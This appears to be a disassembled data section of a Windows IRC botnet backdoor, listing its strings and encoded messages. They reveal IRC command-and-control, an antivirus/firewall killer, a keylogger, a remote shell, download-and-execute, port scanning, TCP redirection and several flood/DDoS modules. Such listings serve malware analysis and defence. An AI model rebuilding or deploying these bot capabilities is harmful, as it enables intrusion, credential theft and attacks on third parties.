aRoot		db 'root',0             ; DATA XREF: .XPack0:0040E19Eo
					; .XPack0:0042AB9Co ...
		align 4
aStaff		db 'staff',0            ; DATA XREF: .XPack0:0040E6D3o
					; .XPack0:0042AB98o ...
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: .XPack0:0040E1A3o
					; .XPack0:0042AB94o ...
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .XPack0:0040E1EEo
					; .XPack0:0042AB90o ...
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: .XPack0:0040E1E4o
					; .XPack0:0042AB8Co ...
aAdministrateur	db 'administrateur',0   ; DATA XREF: .XPack0:0040E1DAo
					; .XPack0:0042AB88o ...
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .XPack0:0040E1D0o
					; .XPack0:0042AB84o ...
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .XPack0:0040E1C6o
					; .XPack0:0042AB80o ...
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .XPack0:0042AAC8o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .XPack0:0042AAC4o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .XPack0:0042AAC0o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .XPack0:off_42AABCo
		align 4
a@_0		db '*@*',0              ; DATA XREF: .XPack0:off_42AAB8o
unk_42B300	db    3			; DATA XREF: sub_40121E+456o
		db 31h,	35h, 2Ch
		db  30h	; 0
		db 5Bh,	2, 3
		db  30h	; 0
		db 34h,	91h, 3
		db  30h	; 0
		db 31h,	2, 1Fh
		db  69h	; i
		db 1Fh,	2, 64h
		db    2
		db 65h,	2, 6Eh
		db    2
		db 74h,	2, 64h
		db    2
		db 3, 30h, 34h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  5Dh	; ]
		db 3, 34h, 20h
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 10h
unk_42B350	db    3			; DATA XREF: sub_40121E+40Bo
		db 31h,	35h, 2Ch
		db  30h	; 0
		db 5Bh,	2, 3
		db  30h	; 0
		db 34h,	91h, 3
		db  30h	; 0
		db 31h,	2, 1Fh
		db  69h	; i
		db 1Fh,	2, 64h
		db    2
		db 65h,	2, 6Eh
		db    2
		db 74h,	2, 64h
		db    2
		db 3, 30h, 34h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  5Dh	; ]
		db 3, 34h, 20h
aServerRunningO	db 'Server running on Port: 113.',0
		align 4
unk_42B398	db    2			; DATA XREF: sub_40121E+3DEo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	34h, 91h
		db    3
		db 30h,	31h, 2
		db  1Fh
		db 50h,	1Fh, 2
		db  72h	; r
		db 2, 6Fh, 2
		db  63h	; c
		db 2, 73h, 2
		db    3
		db 30h,	34h, 2Ch
		db    3
		db 31h,	35h, 5Dh
		db    3
a4FailedToStart	db '4 Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_42B3F4	db    2			; DATA XREF: sub_40121E+38Do
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	34h, 91h
		db    3
		db 30h,	31h, 2
		db  1Fh
		db 50h,	1Fh, 2
		db  72h	; r
		db 2, 6Fh, 2
		db  63h	; c
		db 2, 73h, 2
		db    3
		db 30h,	34h, 2Ch
		db    3
		db 31h,	35h, 5Dh
		db    3
a4AvFwKillerAct	db '4 AV/FW Killer active.',0
dword_42B430	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 6961024Dh
					; DATA XREF: sub_40121E+352o
		dd 3026E02h, 32C3130h, 33A3431h, 42022031h, 20746F02h
		dd 74025302h, 65747261h, 2E64h
dword_42B464	dd 25207325h, 25222064h, 2273hdword_42B470	dd 255C7325h, 73h					; sub_417358+45o
dword_42B478	dd 73257325h, 0						; sub_410370+E9o ...
dword_42B480	dd 31030220h, 5B302C35h, 31300302h, 34300391h, 6F024302h
					; DATA XREF: sub_4017BF+F2o
		dd 6E026E02h, 1F631F65h, 3646574h, 32C3130h, 33A3431h
		dd 54022031h, 1F6F1F02h, 20343003h, 2E7325h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401925+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401925+35o
		align 10h
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+7C2Eo
		align 10h
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+7C19o
		align 10h
dword_42B500	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+7C05o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 55022031h, 72657302h
		dd 7325203Ah, 6F026C20h, 65676702h, 6E692064h, 2Eh
dword_42B540	dd 1F353103h, 34031F28h, 313003B7h, 361026Ch, 26D3430h
					; DATA XREF: sub_401AA1+7BE8o
		dd 65313003h, 3027202h,	3103B734h, 1F291F35h, 2340320h
		dd 2610250h, 731F0273h,	277021Fh, 272026Fh, 41022064h
		dd 63026302h, 1F651F02h, 74027002h, 64026502h, 2Eh
dword_42B590	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+7B63o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1FailedPassAut	db '1 *Failed Pass Auth By: (%s!%s).',0
		align 4
dword_42B5D8	dd 49544F4Eh, 25204543h, 23A2073h, 756F0259h, 41022072h
					; DATA XREF: sub_401AA1+7B4Eo
		dd 65747402h, 2074706Dh, 61024802h, 1F622073h, 65021F65h
		dd 6C206E02h, 671F6F1Fh, 2E646567h, 0A0Dh
dword_42B610	dd 49544F4Eh, 25204543h, 33A2073h, 2680231h, 21F551Fh
					; DATA XREF: sub_401AA1+7B3Ao
		dd 2200268h, 1F720257h,	676E1F6Fh, 73252820h, 29732521h
		dd 0A0D2Eh
dword_42B63C	dd 7Eh		dword_42B640	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+7AB9o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1RandomNickCha	db '1 Random nick change: %s',0
		align 10h
unk_42B680	db    2			; DATA XREF: sub_401AA1+7A51o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Dh	; M
		db 2, 1Fh, 61h
		db  1Fh
		db 2, 69h, 2
		db  6Eh	; n
		db 2 dup(2), 3
		db  30h	; 0
		db 31h,	2Ch, 3
		db  31h	; 1
		db 34h,	3Ah, 3
		db  31h	; 1
		db 20h,	2, 52h
		db    2
aEconnectingInS	db 'econnecting in %s seconds',0
		align 4
unk_42B6C4	db    2			; DATA XREF: sub_401AA1+7A0Fo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Dh	; M
		db 2, 1Fh, 61h
		db  1Fh
		db 2, 69h, 2
		db  6Eh	; n
		db 2 dup(2), 3
		db  30h	; 0
		db 31h,	2Ch, 3
		db  31h	; 1
		db 34h,	3Ah, 3
		db  31h	; 1
		db 20h,	2, 52h
		db    2
aEconnectingI_0	db 'econnecting in %s ms',0
		align 4
dword_42B704	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+79F1o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1NickChangedTo	db '1 Nick changed to: ',27h,'%s',27h,'.',0
		align 8
dword_42B748	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+79D8o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 4A022031h, 6E696F02h
		dd 2206465h, 61680243h,	6C656E6Eh, 2034033Ah, 27732527h
		dd 2Eh,	0
dword_42B790	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+79B8o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 50022031h, 74726102h
		dd 2206465h, 61680243h,	6C656E6Eh, 2034033Ah, 27732527h
		dd 2Eh
dword_42B7D4	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+799Fo
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 2492031h, 20430252h
		dd 2610252h, 34033A77h,	2E732520h, 0
dword_42B810	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 2680254h
					; DATA XREF: sub_401AA1:loc_4093CCo
		dd 2650272h, 2640261h, 31300373h, 3531032Ch, 2031035Dh
		dd 69610246h, 2064656Ch, 2206F74h, 6C69024Bh, 5402206Ch
		dd 65726802h, 33A6461h,	73252034h, 2Eh,	0
dword_42B860	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 2680254h
					; DATA XREF: sub_401AA1+7924o
		dd 2650272h, 2640261h, 31300373h, 3531032Ch, 2031035Dh
		dd 6C69024Bh, 2656C02h,	2742064h, 2657268h, 33A6461h, 73252034h
		dd 2Eh,	0
unk_42B8A8	db    2			; DATA XREF: sub_401AA1:loc_409388o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	34h, 91h
		db    3
		db 30h,	31h, 2
		db  54h	; T
		db 2, 68h, 2
		db  72h	; r
		db 2, 65h, 2
		db  61h	; a
		db 2, 64h, 2
		db  73h	; s
		db 3, 30h, 34h
		db  2Ch	; ,
		db 3, 31h, 35h
		db  5Dh	; ]
		db 3, 34h, 20h
aNoActiveThread	db 'No active threads found.',0
		align 10h
dword_42B8F0	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 2680254h
					; DATA XREF: sub_401AA1+78DDo
		dd 2650272h, 2640261h, 34300373h, 3531032Ch, 2034035Dh
		dd 706F7453h, 3A646570h, 25203103h, 34032064h, 65726874h
		dd 73286461h, 2E29h
dword_42B934	dd 6C6C61h	dword_42B938	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+77C2o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 72502031h, 78696665h
		dd 61686320h, 6465676Eh, 3A6F7420h, 27203403h, 2E276325h
		dd 2 dup(0)
dword_42B980	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 65680253h
					; DATA XREF: sub_401AA1:loc_40924Eo
		dd 6C026C02h, 2C313003h, 5D353103h, 2203103h, 756F0243h
		dd 276E646Ch, 4F022074h, 6E657002h, 2460220h, 3A656C69h
		dd 25203403h, 73h
dword_42B9C4	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 65680253h
					; DATA XREF: sub_401AA1+77A3o
		dd 6C026C02h, 2C313003h, 5D353103h, 2203103h, 6C690246h
		dd 4F022065h, 6E657002h, 64026502h, 2034033Ah, 7325h
dword_42BA00	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+777Ao
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1ServerChanged	db '1 Server changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_42BA40	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_4091FFo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_42BA68	db  2Dh	; -		; DATA XREF: sub_401AA1+7733o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
dword_42BA88	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 21F501Fh
					; DATA XREF: sub_401AA1:loc_40919Ao
		dd 26F0272h, 2730263h, 2C343003h, 5D353103h, 2203403h
		dd 69610246h, 2064656Ch, 2206F74h, 72650254h, 616E696Dh
		dd 2206574h, 6F720250h,	73736563h, 2031033Ah, 7325h
dword_42BAD8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F501Fh
					; DATA XREF: sub_401AA1+76EFo
		dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h
		dd 6F720250h, 73736563h, 24B0220h, 26C0269h, 265026Ch
		dd 34033A64h, 732520h, 0
dword_42BB20	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 21F501Fh
					; DATA XREF: sub_401AA1:loc_409140o
		dd 26F0272h, 2730263h, 2C343003h, 5D353103h, 2203403h
		dd 69610246h, 2064656Ch, 2206F74h, 72650254h, 616E696Dh
		dd 2206574h, 6F720250h,	73736563h, 3A444920h, 25203103h
		dd 73h,	0
dword_42BB78	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F501Fh
					; DATA XREF: sub_401AA1+7698o
		dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h
		dd 6F720250h, 73736563h, 24B0220h, 26C0269h, 265026Ch
		dd 44492064h, 2034033Ah, 7325h
dword_42BBC0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F461Fh
					; DATA XREF: sub_401AA1:loc_4090F9o
		dd 26C0269h, 3020265h, 32C3130h, 35D3531h, 31h
dword_42BBE8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 21F461Fh
					; DATA XREF: sub_401AA1+7651o
		dd 26C0269h, 3020265h, 32C3130h, 35D3531h, 44022031h, 26C6502h
		dd 65740265h, 3026402h,	25272034h, 2E2773h
unk_42BC24	db  2Dh	; -		; DATA XREF: sub_401AA1+7626o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartT	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
unk_42BC60	db  2Dh	; -		; DATA XREF: sub_401AA1+75CDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_42BC84	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401AA1+755Bo
		dd 2 dup(0)
unk_42BCA0	db    2			; DATA XREF: sub_401AA1+752Bo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  56h	; V
		db 2, 69h, 73h
		db    2
		db 69h,	74h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	34h, 3Ah
		db    3
a1FailedToStart	db '1 Failed to start connection thread, error: <%d>.',0
		align 4
dword_42BCF4	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 73690256h
					; DATA XREF: sub_401AA1+74D2o
		dd 2746902h, 2C313003h,	3A343103h, 2203103h, 4C520255h
		dd 2034033Ah, 2E7325h
dword_42BD24	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401AA1:loc_408ECEo
		dd 746E6573h, 2Eh
unk_42BD40	db  2Dh	; -		; DATA XREF: sub_401AA1+7426o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 10h
dword_42BD60	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 26D0243h
					; DATA XREF: sub_401AA1+73E9o
		dd 30030264h, 31032C31h, 31033A34h, 2430220h, 616D6D6Fh
		dd 3A73646Eh, 25203403h, 73h, 0
unk_42BD98	db    2			; DATA XREF: sub_401AA1+73E1o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  43h	; C
		db 2, 6Dh, 2
		db  64h	; d
		db 2, 3, 30h
		db  31h	; 1
		db 2Ch,	3, 31h
		db  34h	; 4
		db 3Ah,	3, 31h
aErrorSendingTo	db ' Error sending to remote shell.',0
asc_42BDD8:				; DATA XREF: sub_401AA1+73C3o
					; sub_410370+FAo ...
		dw 0Ah
		unicode	0, <>,0
dword_42BDDC	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+739Bo
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1ReadFileFaile	db '1 Read file failed: %s',0
		align 4
dword_42BE18	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+7387o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1ReadFileCompl	db '1 Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401AA1:loc_408DB7o
		align 4
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401AA1+72F7o
		align 4
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401AA1+7295o
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401AA1+7248o
		align 10h
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401AA1+71C1o
		align 4
aKeyloggerActiv	db 'Keylogger active.',0 ; DATA XREF: sub_401AA1+7194o
					; sub_401AA1+7240o
		align 10h
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401AA1+718Fo
		align 4
dword_42BEF8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+716Eo
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 65472031h, 736F6874h
		dd 25203A74h, 2E73h, 0
dword_42BF30	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1:loc_408BD4o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1UnableToExtra	db '1 Unable to extract Gethost command.',0
		align 4
dword_42BF7C	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+711Do
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1GethostSComma	db '1 Gethost: %s, Command: %s',0
		align 4
dword_42BFBC	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+707Eo
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1AliasAddedS_	db '1 Alias added: %s.',0
		align 4
dword_42BFF4	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+7040o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1PrivmsgSS_	db '1 Privmsg: %s: %s.',0
		align 4
dword_42C02C	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+6FEAo
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1ActionSS_	db '1 Action: %s: %s.',0
		align 4
dword_42C064	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+6F7Fo
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 79432031h, 2E656C63h
		dd 0
dword_42C094	dd 54524150h, 0D732520h, 0Ah					; sub_401AA1+79AAo
dword_42C0A0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+6F19o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1ModeChangeS	db '1 Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401AA1+6F0Bo
		align 4
dword_42C0E4	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401AA1+6EE2o
		dd 25203A29h, 73h
dword_42C100	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401AA1+6E77o
		dd 203A2973h, 7325h
dword_42C11C	dd 45444F4Dh, 732520hdword_42C124	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401AA1+6DF0o
		dd 203A2973h, 7325h
dword_42C140	dd 4E494F4Ah, 20732520h, 7325hdword_42C14C	dd 0A0D7325h, 0						; sub_401AA1+6DCFo ...
dword_42C154	dd 54524150h, 732520hdword_42C15C	dd 234032Dh, 67726174h,	3023361haFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42C198	dd 234032Dh, 67726174h,	3023361haFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42C1C4	db  2Dh	; -		; DATA XREF: sub_401AA1+6BF4o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42C200	db  2Dh	; -		; DATA XREF: sub_401AA1+6B95o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
		align 8
dword_42C238	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1:loc_4085D0o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1RepeatNotAllo	db '1 Repeat not allowed in command line: %s',0
		align 4
dword_42C288	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1+6AF8o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 65522031h, 74616570h
		dd 7325203Ah, 0
dword_42C2BC	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 611F024Dh
					; DATA XREF: sub_401AA1:loc_408500o
		dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 65442031h, 2E79616Ch
		dd 0
dword_42C2EC	dd 25207325h, 73252073h, 73253A20h, 2 dup(0)					; sub_401AA1+6AD2o ...
dword_42C300	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 2700255h
					; DATA XREF: sub_401AA1:loc_40846Fo
		dd 74026164h, 3026502h,	32C3130h, 35D3531h, 42022031h
		dd 20746F02h, 2440249h,	24D0220h, 20747375h, 65024202h
		dd 2440220h, 65666669h,	746E6572h, 2540220h, 206E6168h
		dd 75024302h, 6E657272h, 72022074h, 6E6E7502h, 20676E69h
		dd 72025002h, 7365636Fh, 2E73h
dword_42C370	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 2700255h
					; DATA XREF: sub_401AA1+69AFo
		dd 74026164h, 3026502h,	32C3130h, 35D3531h, 46022031h
		dd 6C696102h, 2206465h,	206F0254h, 74025302h, 20747261h
		dd 6F024402h, 6F6C6E77h, 2206461h, 72680254h, 2C646165h
		dd 2450220h, 2720272h, 272026Fh, 2034033Ah, 3E64253Ch
		dd 2Eh
dword_42C3D8	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 2700255h
					; DATA XREF: sub_401AA1+6956o
		dd 74026164h, 3026502h,	32C3430h, 35D3531h, 44022034h
		dd 2776F02h, 6F6C026Eh,	2640261h, 20676E69h, 70025502h
		dd 65746164h, 2460220h,	3A6D6F72h, 25203103h, 2E73h
dword_42C428	dd 73257325h, 6578652Eh, 0dword_42C434	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401AA1+6854o
		dd 7325203Ah, 0
unk_42C450	db  2Dh	; -		; DATA XREF: sub_401AA1+6849o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42C474	db  2Dh	; -		; DATA XREF: sub_401AA1+6797o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42C4B0	db  2Dh	; -		; DATA XREF: sub_401AA1+6733o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42C4E0	dd 234032Dh, 656C6966h,	2D0302hunk_42C4EC	db  2Dh	; -		; DATA XREF: sub_401AA1+667Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42C510	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_4080FCo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42C548	db  2Dh	; -		; DATA XREF: sub_401AA1+663Co
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42C580	db  2Dh	; -		; DATA XREF: sub_401AA1+65D8o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42C5AC	dd 234032Dh, 6E6F6C63h,	3027365haFailedToStartC	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42C5E8	dd 234032Dh, 6E6F6C63h,	3027365haCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42C618	db  2Dh	; -		; DATA XREF: sub_401AA1+644Co
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_3	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42C650	db  2Dh	; -		; DATA XREF: sub_401AA1+63EAo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42C680	db  2Dh	; -		; DATA XREF: sub_401AA1+6354o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_4	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42C6B8	db  2Dh	; -		; DATA XREF: sub_401AA1+62F2o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42C6E8	db  2Dh	; -		; DATA XREF: sub_401AA1+626Do
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_5	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42C720	db  2Dh	; -		; DATA XREF: sub_401AA1+620Bo
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 10h
dword_42C760	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 26F0244h
					; DATA XREF: sub_401AA1+6186o
		dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch
		dd 2031033Ah, 61024602h, 64656C69h, 6F025420h, 53022002h
		dd 72617402h, 54022074h, 6E617202h, 72656673h, 2540220h
		dd 61657268h, 2202C64h,	2720245h, 26F0272h, 33A0272h, 253C2034h
		dd 2E3E64h, 0
dword_42C7D0	dd 35310302h, 25B302Ch,	91343003h, 2313003h, 26F0244h
					; DATA XREF: sub_401AA1+612Do
		dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
		dd 2034033Ah, 6F024402h, 6C6E0277h, 2616F02h, 26E6964h
		dd 2552067h, 3A4C0252h,	25203103h, 34032073h, 26F0254h
		dd 2031033Ah, 3207325h,	2540234h, 31033A6Fh, 2E732520h
		dd 0
unk_42C838	db  2Dh	; -		; DATA XREF: sub_401AA1+604Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42C87C	db  2Dh	; -		; DATA XREF: sub_401AA1+5FF3o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
dword_42C8B8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 26F0250h
					; DATA XREF: sub_401AA1+5F05o
		dd 1F740272h, 1F025302h, 6E610263h, 31300302h, 3531032Ch
		dd 2031033Ah, 1F025002h, 74721F6Fh, 2530220h, 611F631Fh
		dd 5302206Eh, 72617402h, 1F651F74h, 30033A64h, 73252034h
		dd 2064253Ah, 2570203h,	741F691Fh, 44022068h, 1F6C6502h
		dd 3A791F61h, 20343003h, 6D286425h, 2E2973h
